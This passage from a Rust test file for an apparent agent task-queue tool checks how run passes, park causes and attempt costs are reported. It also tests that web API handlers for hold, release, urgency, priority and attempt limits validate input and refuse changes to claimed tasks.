13960 assert_eq!(f.edges[1].label, "closed by hand: task is done");
13961 }
13962
13963 #[test]
13964 fn flow_with_no_runs_goes_from_queued_to_queued() {
13965 let t = flow_task(&[]);
13966 let f = flow_for(&t, &[]);
13967 assert_eq!(f.nodes.len(), 2);
13968 assert_eq!(f.edges.len(), 1);
13969 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
13970 assert_eq!(f.edges[0].attempt, AttemptCost::None);
13971 }
13972
13973 #[test]
13976 fn a_parked_non_terminal_run_is_explained_as_parked() {
13977 let mut s = RunState::new(
13978 PathBuf::from("/repo/magi"),
13979 "main".to_owned(),
13980 "0123456789abcdef".to_owned(),
13981 "Do it".to_owned(),
13982 Config::default(),
13983 );
13984 s.status = RunStatus::Implementing;
13985 s.parked = true;
13986 let task = Task::new(
13987 "t".to_owned(),
13988 "Do it".to_owned(),
13989 PathBuf::from("/repo/magi"),
13990 Source::Human,
13991 );
13992 let v = task_run_view(
13993 "20260902-140501-aaaa",
13994 Some(&s),
13995 RunSlot {
13996 n: 1,
13997 resumed: false,
13998 resumed_later: None,
13999 prior: None,
14000 last: true,
14001 ..RunSlot::default()
14002 },
14003 &task,
14004 );
14005 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
14006 }
14007
14008 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
14009 let mut s = flow_run(RunStatus::Implementing, edit);
14010 s.parked = false;
14011 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
14012 task_run_view(
14013 "20260902-140501-aaaa",
14014 Some(&s),
14015 RunSlot {
14016 n: 1,
14017 resumed: false,
14018 resumed_later: Some(2),
14019 prior: None,
14020 last: false,
14021 ..RunSlot::default()
14022 },
14023 &task,
14024 )
14025 }
14026
14027 #[test]
14028 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
14029 let v = earlier_pass_view(|_| {});
14030 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
14031 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14032 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
14033 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
14034 assert_eq!(v.exit, RunExit::Interrupted);
14035 assert_eq!(v.attempt, AttemptCost::Unknown);
14036 }
14037
14038 #[test]
14039 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
14040 let v = earlier_pass_view(|s| {
14041 s.quota.push(crate::run::QuotaLoss {
14042 seat: "judge-1".to_owned(),
14043 node: "judge".to_owned(),
14044 at: Timestamp::now(),
14045 reset: None,
14046 });
14047 });
14048 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
14049 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
14050 assert_eq!(v.attempt, AttemptCost::Unknown);
14051 }
14052
14053 #[test]
14054 fn the_current_pass_states_its_recorded_cause_and_cost() {
14055 let slot = || RunSlot {
14056 n: 1,
14057 resumed: false,
14058 resumed_later: None,
14059 prior: None,
14060 last: true,
14061 ..RunSlot::default()
14062 };
14063 let task = flow_task(&["20260902-140501-aaaa"]);
14064 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
14065 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
14066 assert_eq!(
14067 (v.exit, v.attempt),
14068 (RunExit::Parked, AttemptCost::Refunded)
14069 );
14070 let spent = flow_run(RunStatus::Blocked, |_| {});
14071 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
14072 assert_eq!(v.attempt, AttemptCost::Spent);
14073 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
14074 }
14075
14076 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
14077 crate::run::RunPass {
14078 index,
14079 started_at: Timestamp::now(),
14080 resumed: index > 0,
14081 ended_at: end.as_ref().map(|_| Timestamp::now()),
14082 end,
14083 task_entry: true,
14084 }
14085 }
14086
14087 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
14088 Some(crate::run::PassEnd::Parked { cause })
14089 }
14090
14091 fn upgrade_cause() -> crate::run::ParkCause {
14092 crate::run::ParkCause::Upgrade {
14093 from: "0.121.0".to_owned(),
14094 to: Some("0.121.1".to_owned()),
14095 }
14096 }
14097
14098 fn settled_pass(
14099 run: &str,
14100 index: usize,
14101 cost: crate::queue::PassCost,
14102 ) -> crate::queue::TaskPass {
14103 crate::queue::TaskPass {
14104 run: run.to_owned(),
14105 pass_index: index,
14106 cost,
14107 attempts_after: 1,
14108 settled_at: Timestamp::now(),
14109 parked: None,
14110 }
14111 }
14112
14113 const RUN_X: &str = "20261011-223708-4334";
14114
14115 #[test]
14116 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
14117 use crate::queue::PassCost;
14118 let run = flow_run(RunStatus::Implementing, |s| {
14119 s.passes = vec![
14120 recorded_pass(0, parked(upgrade_cause())),
14121 recorded_pass(1, None),
14122 ];
14123 });
14124 let mut task = flow_task(&[RUN_X, RUN_X]);
14125 task.attempts = 1;
14126 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14127 let h = task_history(&task, |_| Some(run.clone()));
14128 assert_eq!(h.len(), 2);
14129 assert_eq!(h[0].kind, "competition");
14130 assert_eq!(h[1].kind, "resume");
14131 assert_eq!(
14132 (h[0].exit, h[0].attempt),
14133 (RunExit::Parked, AttemptCost::Refunded)
14134 );
14135 assert!(
14136 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
14137 "{}",
14138 h[0].outcome
14139 );
14140 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
14141 assert!(
14142 h[0].outcome.contains("pass #2 resumed the same run"),
14143 "{}",
14144 h[0].outcome
14145 );
14146 assert!(
14147 h[0].outcome.contains("pass 1 of 2 over run"),
14148 "{}",
14149 h[0].outcome
14150 );
14151 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14152 assert_eq!(
14153 h[0].exit_label,
14154 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
14155 );
14156 let f = task_flow(&task, &h, 2, None);
14157 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
14159 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
14160 assert!(
14161 f.edges[1].label.contains("upgrade 0.121.0"),
14162 "{}",
14163 f.edges[1].label
14164 );
14165 assert!(
14166 f.edges[1].label.contains("resume the same run"),
14167 "{}",
14168 f.edges[1].label
14169 );
14170 assert_eq!(f.nodes[1].note, Some("parked"));
14171 }
14172
14173 #[test]
14174 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
14175 let mut a = flow_run(RunStatus::Implementing, |s| {
14176 s.passes = vec![
14177 recorded_pass(0, parked(upgrade_cause())),
14178 recorded_pass(1, None),
14179 ];
14180 });
14181 let mut b = flow_run(RunStatus::Failed, |s| {
14182 s.passes = vec![recorded_pass(0, None)];
14183 });
14184 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
14185 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
14186 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
14187 let mut task = flow_task(&[]);
14188 task.start("a".into());
14189 task.start("b".into());
14190 task.start("a".into());
14191 assert_eq!(task.runs, ["b", "a"]);
14192 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
14193 let h = task_history(&task, |id| {
14194 Some(if id == "a" { a.clone() } else { b.clone() })
14195 });
14196 assert_eq!(
14197 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
14198 ["a", "b", "a"]
14199 );
14200 assert_eq!(h[0].attempt, AttemptCost::Refunded);
14201 assert!(h[0].outcome.contains("upgrade"));
14202 assert_eq!(h[2].kind, "resume");
14203 assert!(h[2].pass.is_some());
14204 task.runs = vec!["a".into(), "b".into(), "a".into()];
14206 let old = task_history(&task, |id| {
14207 Some(if id == "a" { a.clone() } else { b.clone() })
14208 });
14209 assert_eq!(
14210 old.iter()
14211 .map(|v| (&v.id, &v.kind, v.attempt))
14212 .collect::<Vec<_>>(),
14213 h.iter()
14214 .map(|v| (&v.id, &v.kind, v.attempt))
14215 .collect::<Vec<_>>()
14216 );
14217 }
14218
14219 #[test]
14220 fn an_upgrade_whose_target_was_not_known_says_so() {
14221 let run = flow_run(RunStatus::Implementing, |s| {
14222 s.passes = vec![
14223 recorded_pass(
14224 0,
14225 parked(crate::run::ParkCause::Upgrade {
14226 from: "0.121.0".to_owned(),
14227 to: None,
14228 }),
14229 ),
14230 recorded_pass(1, None),
14231 ];
14232 });
14233 let task = flow_task(&[RUN_X, RUN_X]);
14234 let h = task_history(&task, |_| Some(run.clone()));
14235 assert!(
14236 h[0].outcome.contains("upgrade from 0.121.0"),
14237 "{}",
14238 h[0].outcome
14239 );
14240 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14242 }
14243
14244 #[test]
14245 fn each_pass_keeps_its_own_cause_across_several_resumes() {
14246 use crate::queue::PassCost;
14247 use crate::run::ParkCause;
14248 let run = flow_run(RunStatus::Implementing, |s| {
14249 s.passes = vec![
14250 recorded_pass(0, parked(upgrade_cause())),
14251 recorded_pass(
14252 1,
14253 parked(ParkCause::Interrupt {
14254 reason: "task a1b2 asked to run first".to_owned(),
14255 }),
14256 ),
14257 recorded_pass(2, parked(ParkCause::Operator)),
14258 recorded_pass(3, None),
14259 ];
14260 });
14261 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
14262 task.attempts = 1;
14263 task.passes = (0..3)
14264 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
14265 .collect();
14266 let h = task_history(&task, |_| Some(run.clone()));
14267 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
14268 assert!(
14269 h[1].outcome.contains("task a1b2 asked to run first"),
14270 "{}",
14271 h[1].outcome
14272 );
14273 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
14274 assert!(
14275 h[2].outcome.contains("operator asked the loop to park"),
14276 "{}",
14277 h[2].outcome
14278 );
14279 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
14280 let f = task_flow(&task, &h, 2, None);
14281 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
14282 }
14283
14284 #[test]
14285 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
14286 let run = flow_run(RunStatus::Implementing, |s| {
14287 s.passes = vec![
14288 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
14289 recorded_pass(1, None),
14290 ];
14291 });
14292 let task = flow_task(&[RUN_X, RUN_X]);
14293 let h = task_history(&task, |_| Some(run.clone()));
14294 assert_eq!(h[0].exit, RunExit::Interrupted);
14295 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14296 assert!(
14297 h[0].outcome.contains("without recording why"),
14298 "{}",
14299 h[0].outcome
14300 );
14301 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14302 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
14303 }
14304
14305 #[test]
14306 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
14307 use crate::queue::PassCost;
14308 let run = flow_run(RunStatus::Implementing, |s| {
14311 s.passes = vec![
14312 recorded_pass(0, parked(upgrade_cause())),
14313 recorded_pass(1, None),
14314 ];
14315 });
14316 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
14317 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14318 let h = task_history(&task, |_| Some(run.clone()));
14319 assert!(h[0].pass.is_none());
14320 assert_eq!(h[0].exit, RunExit::Interrupted);
14321 assert_eq!(h[0].attempt, AttemptCost::Unknown);
14322 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14323 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14324 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
14325 let legacy = flow_run(RunStatus::Implementing, |_| {});
14327 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
14328 assert!(h.iter().all(|v| v.pass.is_none()));
14329 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
14330 }
14331
14332 #[test]
14333 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
14334 use crate::queue::PassCost;
14335 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
14338 web.task_entry = false;
14339 let run = flow_run(RunStatus::Implementing, |s| {
14340 s.passes = vec![
14341 recorded_pass(0, parked(upgrade_cause())),
14342 web.clone(),
14343 recorded_pass(2, None),
14344 ];
14345 });
14346 let mut task = flow_task(&[RUN_X, RUN_X]);
14347 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
14348 let h = task_history(&task, |_| Some(run.clone()));
14349 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
14350 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
14351
14352 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
14355 web0.task_entry = false;
14356 let run = flow_run(RunStatus::Implementing, |s| {
14357 s.passes = vec![web0.clone(), recorded_pass(1, None)];
14358 });
14359 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
14360 assert!(h[0].pass.is_none());
14361 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
14362 assert!(h[1].pass.is_some());
14363 }
14364
14365 #[tokio::test]
14366 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
14367 let dir = tempfile::tempdir().unwrap();
14368 let queue = Queue::at(dir.path().join("queue"));
14369 let ui = Arc::new(Ui::new(
14370 queue.clone(),
14371 Questions::at(dir.path().join("questions")),
14372 Talks::at(dir.path().join("talks")),
14373 dir.path().join("runs"),
14374 dir.path().to_path_buf(),
14375 dir.path().to_path_buf(),
14376 ));
14377 let mut t = Task::new(
14378 "recover".into(),
14379 "Inspect".into(),
14380 PathBuf::from("."),
14381 Source::Human,
14382 );
14383 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
14384 t.start("run-A".into());
14385 t.release_operator("choice", Some("resume-question"));
14386 t.resume_override = Some(crate::queue::OperatorResume {
14387 question_id: "resume-question".into(),
14388 at: jiff::Timestamp::now(),
14389 conductor_rehold: None,
14390 forced: true,
14391 pinned_run: Some("run-A".into()),
14392 });
14393 t.hold_machine(Some("inspection pending".into()));
14394 t.edit("recover".into(), "Reuse approved PR head".into())
14395 .unwrap();
14396 queue.put(&mut t).unwrap();
14397 let mut cli = t.clone();
14398 cli.release_operator("cli", None);
14399 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
14400 let reloaded = queue.get(&t.id).unwrap();
14401 assert_eq!(reply.task.status, TaskStatus::Queued);
14402 assert!(reloaded.resume_override.is_none());
14403 assert_eq!(reloaded.answers, t.answers);
14404 let mut web = reloaded.resumption.unwrap();
14405 let cli = cli.resumption.unwrap();
14406 assert_eq!(web.source, "web");
14407 web.source = cli.source.clone();
14408 web.at = cli.at;
14409 assert_eq!(web, cli);
14410 }
14411
14412 #[tokio::test]
14413 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
14414 let f = Fixture::start().await;
14415 let queue = f.queue();
14416 let mut task = Task::new(
14417 "spent".to_owned(),
14418 "Try again".to_owned(),
14419 PathBuf::from("/repo/magi"),
14420 Source::Human,
14421 );
14422 task.start("20260902-140502-bbbb".to_owned());
14423 task.fail("agent gave up", 9);
14424 queue.put(&mut task).expect("file the task");
14425
14426 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
14427 assert_eq!(held.status, 200);
14428 assert_eq!(held.json()["status_str"], "held");
14429
14430 let released = f
14431 .post(&format!("/api/queue/{}/release", task.id), None)
14432 .await;
14433 assert_eq!(released.status, 200);
14434 assert_eq!(released.json()["status_str"], "queued");
14435 assert_eq!(released.json()["resumption"]["source"], "web");
14436 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
14437 let mut cli = task.clone();
14438 cli.release_operator("cli", None);
14439 let web = queue.get(&task.id).unwrap().resumption.unwrap();
14440 let cli = cli.resumption.unwrap();
14441 assert_eq!(web.instruction, cli.instruction);
14442 assert_eq!(web.answers_through, cli.answers_through);
14443 assert_eq!(web.runs_through, cli.runs_through);
14444 assert_eq!(web.cleared_reason, cli.cleared_reason);
14445 assert_eq!(
14446 released.json()["attempts"],
14447 0,
14448 "release is a real second chance, not an instant re-hold"
14449 );
14450 assert_eq!(
14451 queue.get(&task.id).expect("reload").status,
14452 TaskStatus::Queued,
14453 "the change is on disk, not only in the reply"
14454 );
14455 assert!(
14456 !f.home
14457 .path()
14458 .join("queue")
14459 .join(format!("{}.lock", task.id))
14460 .exists(),
14461 "the claim the mutation took is released again"
14462 );
14463 }
14464
14465 #[tokio::test]
14466 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
14467 let f = Fixture::start().await;
14468 let queue = f.queue();
14469 let mut task = Task::new(
14470 "busy".to_owned(),
14471 "Running right now".to_owned(),
14472 PathBuf::from("/repo/magi"),
14473 Source::Human,
14474 );
14475 queue.put(&mut task).expect("file the task");
14476 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
14477
14478 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
14479
14480 assert_eq!(res.status, 409);
14481 assert_eq!(
14482 queue.get(&task.id).expect("reload").status,
14483 TaskStatus::Queued,
14484 "the refused hold changed nothing"
14485 );
14486 }
14487
14488 #[tokio::test]
14489 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
14490 let f = Fixture::start().await;
14491 let queue = f.queue();
14492 let mut task = Task::new(
14493 "waiting on the migration".to_owned(),
14494 "Do the thing".to_owned(),
14495 PathBuf::from("/repo/magi"),
14496 Source::Human,
14497 );
14498 queue.put(&mut task).expect("file the task");
14499
14500 let held = f
14501 .post(
14502 &format!("/api/queue/{}/hold", task.id),
14503 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
14504 )
14505 .await;
14506 assert_eq!(held.status, 200, "{}", held.body);
14507 assert_eq!(held.json()["status_str"], "held");
14508 assert_eq!(
14509 held.json()["hold_reason"],
14510 "waiting for 20260101-000000-aaaa to land"
14511 );
14512
14513 let listed = f.get("/api/queue").await.json();
14514 assert_eq!(
14515 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
14516 "the card reads the reason off the same list route"
14517 );
14518
14519 let mut plain = Task::new(
14522 "no reason given".to_owned(),
14523 "Do another thing".to_owned(),
14524 PathBuf::from("/repo/magi"),
14525 Source::Human,
14526 );
14527 queue.put(&mut plain).expect("file the task");
14528 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
14529 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
14530 assert!(held_plain.json()["hold_reason"].is_null());
14531
14532 let released = f
14533 .post(&format!("/api/queue/{}/release", task.id), None)
14534 .await;
14535 assert_eq!(released.status, 200);
14536 assert!(
14537 released.json()["hold_reason"].is_null(),
14538 "a release must clear the reason so the next hold does not inherit it"
14539 );
14540 }
14541
14542 #[test]
14543 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
14544 for urgent in [true, false] {
14545 let body: UrgentBody =
14546 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
14547 assert_eq!(body.urgent, urgent);
14548 }
14549 for input in [
14550 r#"{}"#,
14551 r#"{"urgent":null}"#,
14552 r#"{"urgent":"true"}"#,
14553 r#"{"urgent":1}"#,
14554 r#"{"urgent":true,"extra":false}"#,
14555 ] {
14556 assert!(
14557 serde_json::from_str::<UrgentBody>(input).is_err(),
14558 "{input}"
14559 );
14560 }
14561 }
14562
14563 #[tokio::test]
14564 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
14565 let home = TempDir::new().unwrap();
14566 let q = Queue::at(home.path().join("queue"));
14567 let ui = Arc::new(Ui::new(
14568 q.clone(),
14569 Questions::at(home.path().join("questions")),
14570 Talks::at(home.path().join("talks")),
14571 home.path().join("runs"),
14572 home.path().into(),
14573 home.path().into(),
14574 ));
14575 let mut task = Task::new(
14576 "urgent handler".into(),
14577 "keep".into(),
14578 home.path().into(),
14579 Source::Human,
14580 );
14581 for status in [TaskStatus::Queued, TaskStatus::Held] {
14582 task.status = status;
14583 q.put(&mut task).unwrap();
14584 for urgent in [true, true, false, false] {
14585 let saved = queue_urgent(
14586 State(Arc::clone(&ui)),
14587 Path(task.short().into()),
14588 Ok(Json(UrgentBody { urgent })),
14589 )
14590 .await
14591 .unwrap();
14592 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
14593 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
14594 }
14595 }
14596 task.status = TaskStatus::Queued;
14597 q.put(&mut task).unwrap();
14598 let claim = q.claim(&task.id).unwrap();
14599 let error = queue_urgent(
14600 State(Arc::clone(&ui)),
14601 Path(task.id.clone()),
14602 Ok(Json(UrgentBody { urgent: true })),
14603 )
14604 .await
14605 .unwrap_err();
14606 assert_eq!(error.status, StatusCode::CONFLICT);
14607 assert!(error.message.contains("released"));
14608 drop(claim);
14609 for status in [
14610 TaskStatus::Running,
14611 TaskStatus::Done,
14612 TaskStatus::Failed,
14613 TaskStatus::Blocked,
14614 TaskStatus::Parked,
14615 ] {
14616 task.status = status;
14617 q.put(&mut task).unwrap();
14618 let error = queue_urgent(
14619 State(Arc::clone(&ui)),
14620 Path(task.id.clone()),
14621 Ok(Json(UrgentBody { urgent: false })),
14622 )
14623 .await
14624 .unwrap_err();
14625 assert_eq!(error.status, StatusCode::BAD_REQUEST);
14626 assert!(error.message.contains(status.as_str()));
14627 }
14628 }
14629
14630 #[tokio::test]
14631 async fn urgent_api_updates_preserves_and_validates_tasks() {
14632 let f = Fixture::start().await;
14633 let q = f.queue();
14634 let mut t = Task::new(
14635 "urgent API".into(),
14636 "unchanged".into(),
14637 PathBuf::from("/repo/magi"),
14638 Source::Human,
14639 );
14640 t.attempts = 2;
14641 t.priority = 9;
14642 t.interrupt = true;
14643 t.hold_reason = Some("waiting for approval".into());
14644 for status in [TaskStatus::Queued, TaskStatus::Held] {
14645 t.status = status;
14646 q.put(&mut t).unwrap();
14647 for urgent in [true, true, false, false] {
14648 let response = f
14649 .post(
14650 &format!("/api/queue/{}/urgent", t.short()),
14651 Some(&format!("{{\"urgent\":{urgent}}}")),
14652 )
14653 .await;
14654 assert_eq!(response.status, 200, "{}", response.body);
14655 assert_eq!(response.json()["urgent"], urgent);
14656 let saved = q.get(&t.id).unwrap();
14657 let mut before = serde_json::to_value(&t).unwrap();
14658 let mut after = serde_json::to_value(saved).unwrap();
14659 before["urgent"] = urgent.into();
14660 before.as_object_mut().unwrap().remove("updated_at");
14661 after.as_object_mut().unwrap().remove("updated_at");
14662 assert_eq!(after, before);
14663 }
14664 }
14665 let route = format!("/api/queue/{}/urgent", t.id);
14666 for body in [
14667 r#"{}"#,
14668 r#"{"urgent":null}"#,
14669 r#"{"urgent":"true"}"#,
14670 r#"{"urgent":1}"#,
14671 r#"{"urgent":true,"extra":false}"#,
14672 "{",
14673 ] {
14674 assert_eq!(f.post(&route, Some(body)).await.status, 400);
14675 }
14676 t.status = TaskStatus::Queued;
14677 q.put(&mut t).unwrap();
14678 let claim = q.claim(&t.id).unwrap();
14679 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
14680 assert_eq!(response.status, 409, "{}", response.body);
14681 assert!(!q.get(&t.id).unwrap().urgent);
14682 drop(claim);
14683 for status in [
14684 TaskStatus::Running,
14685 TaskStatus::Done,
14686 TaskStatus::Failed,
14687 TaskStatus::Blocked,
14688 TaskStatus::Parked,
14689 ] {
14690 t.status = status;
14691 q.put(&mut t).unwrap();
14692 for urgent in [true, false] {
14693 let response = f
14694 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
14695 .await;
14696 assert_eq!(response.status, 400, "{}", response.body);
14697 assert!(response.body.contains(status.as_str()));
14698 assert!(response.body.contains("queued or held"));
14699 assert!(!q.get(&t.id).unwrap().urgent);
14700 }
14701 }
14702 assert_eq!(
14703 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
14704 .await
14705 .status,
14706 404
14707 );
14708 }
14709
14710 #[tokio::test]
14711 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
14712 let f = Fixture::start().await;
14713 let queue = f.queue();
14714 let mut older = Task::new(
14715 "filed first".to_owned(),
14716 "x".to_owned(),
14717 PathBuf::from("/repo/magi"),
14718 Source::Human,
14719 );
14720 older.id = "20260101-000001-aaaa".to_owned();
14721 let mut newer = Task::new(
14722 "filed second".to_owned(),
14723 "x".to_owned(),
14724 PathBuf::from("/repo/magi"),
14725 Source::Human,
14726 );
14727 newer.id = "20260101-000002-bbbb".to_owned();
14728 queue.put(&mut older).expect("file older");
14729 queue.put(&mut newer).expect("file newer");
14730
14731 let before = f.get("/api/queue").await.json();
14734 assert_eq!(before[0]["id"], newer.id);
14735 assert_eq!(before[1]["id"], older.id);
14736
14737 let raised = f
14741 .post(
14742 &format!("/api/queue/{}/priority", older.id),
14743 Some(r#"{"priority":10}"#),
14744 )
14745 .await;
14746 assert_eq!(raised.status, 200, "{}", raised.body);
14747 assert_eq!(raised.json()["priority"], 10);
14748
14749 let after = f.get("/api/queue").await.json();
14750 let names: Vec<&str> = after
14751 .as_array()
14752 .unwrap()
14753 .iter()
14754 .map(|t| t["id"].as_str().unwrap())
14755 .collect();
14756 assert_eq!(names[0], older.id, "the raised task now sorts first");
14760 }
14761
14762 #[tokio::test]
14763 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
14764 let dir = TempDir::new().unwrap();
14765 let q = Queue::at(dir.path().join("queue"));
14766 let ui = Arc::new(Ui::new(
14767 q.clone(),
14768 Questions::at(dir.path().join("questions")),
14769 Talks::at(dir.path().join("talks")),
14770 dir.path().join("runs"),
14771 dir.path().to_path_buf(),
14772 dir.path().to_path_buf(),
14773 ));
14774 let mut t = Task::new(
14775 "budget".into(),
14776 "keep".into(),
14777 dir.path().into(),
14778 Source::Human,
14779 );
14780 t.attempts = 2;
14781 t.runs.push("prior-run".into());
14782 t.hold_manual(Some("waiting".into()));
14783 q.put(&mut t).unwrap();
14784 let change = |value| {
14785 queue_attempt_limit(
14786 State(ui.clone()),
14787 Path(t.id.clone()),
14788 Ok(Json(AttemptLimitBody {
14789 attempt_limit: value,
14790 })),
14791 )
14792 };
14793 for value in [
14794 serde_json::json!(3),
14795 serde_json::Value::Null,
14796 serde_json::json!(1),
14797 ] {
14798 let response = change(value.clone()).await.unwrap();
14799 assert_eq!(
14800 serde_json::to_value(response.0).unwrap()["attempt_limit"],
14801 value
14802 );
14803 let saved = q.get(&t.id).unwrap();
14804 assert_eq!(
14805 serde_json::to_value(&saved).unwrap()["attempt_limit"],
14806 value
14807 );
14808 assert_eq!(saved.status, TaskStatus::Held);
14809 assert_eq!(saved.attempts, t.attempts);
14810 assert_eq!(saved.runs, t.runs);
14811 assert_eq!(saved.hold_reason, t.hold_reason);
14812 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
14813 .await
14814 .unwrap()
14815 .0;
14816 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
14817 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
14818 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
14819 assert_eq!(outcome.max_attempts, detail.max_attempts);
14820 }
14821 for value in [
14822 serde_json::json!(0),
14823 serde_json::json!(-1),
14824 serde_json::json!(1.5),
14825 serde_json::json!("3"),
14826 serde_json::json!(true),
14827 ] {
14828 assert_eq!(
14829 change(value).await.err().unwrap().status,
14830 StatusCode::BAD_REQUEST
14831 );
14832 }
14833 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
14834 let claim = q.claim(&t.id).unwrap();
14835 assert_eq!(
14836 change(serde_json::json!(4)).await.err().unwrap().status,
14837 StatusCode::CONFLICT
14838 );
14839 drop(claim);
14840 for status in [
14841 TaskStatus::Running,
14842 TaskStatus::Done,
14843 TaskStatus::Failed,
14844 TaskStatus::Blocked,
14845 TaskStatus::Parked,
14846 ] {
14847 let mut stored = q.get(&t.id).unwrap();
14848 stored.status = status;
14849 q.put(&mut stored).unwrap();
14850 assert_eq!(
14851 change(serde_json::json!(4)).await.err().unwrap().status,
14852 StatusCode::BAD_REQUEST
14853 );
14854 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
14855 }
14856 let mut stored = q.get(&t.id).unwrap();
14857 stored.status = TaskStatus::Queued;
14858 q.put(&mut stored).unwrap();
14859 let _ = change(serde_json::Value::Null).await.unwrap();
14860 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
14861 }
14862
14863 #[tokio::test]
14864 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
14865 let dir = TempDir::new().unwrap();
14866 let repo = dir.path().join("repo");
14867 std::fs::create_dir(&repo).unwrap();
14868 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
14869 let q = Queue::at(dir.path().join("queue"));
14870 let ui = Arc::new(Ui::new(
14871 q.clone(),
14872 Questions::at(dir.path().join("questions")),
14873 Talks::at(dir.path().join("talks")),
14874 dir.path().join("runs"),
14875 dir.path().to_path_buf(),
14876 repo.clone(),
14877 ));
14878 let mut t = Task::new(
14879 "seats".into(),
14880 "keep instruction".into(),
14881 repo,
14882 Source::Human,
14883 );
14884 t.runs.push("prior-run".into());
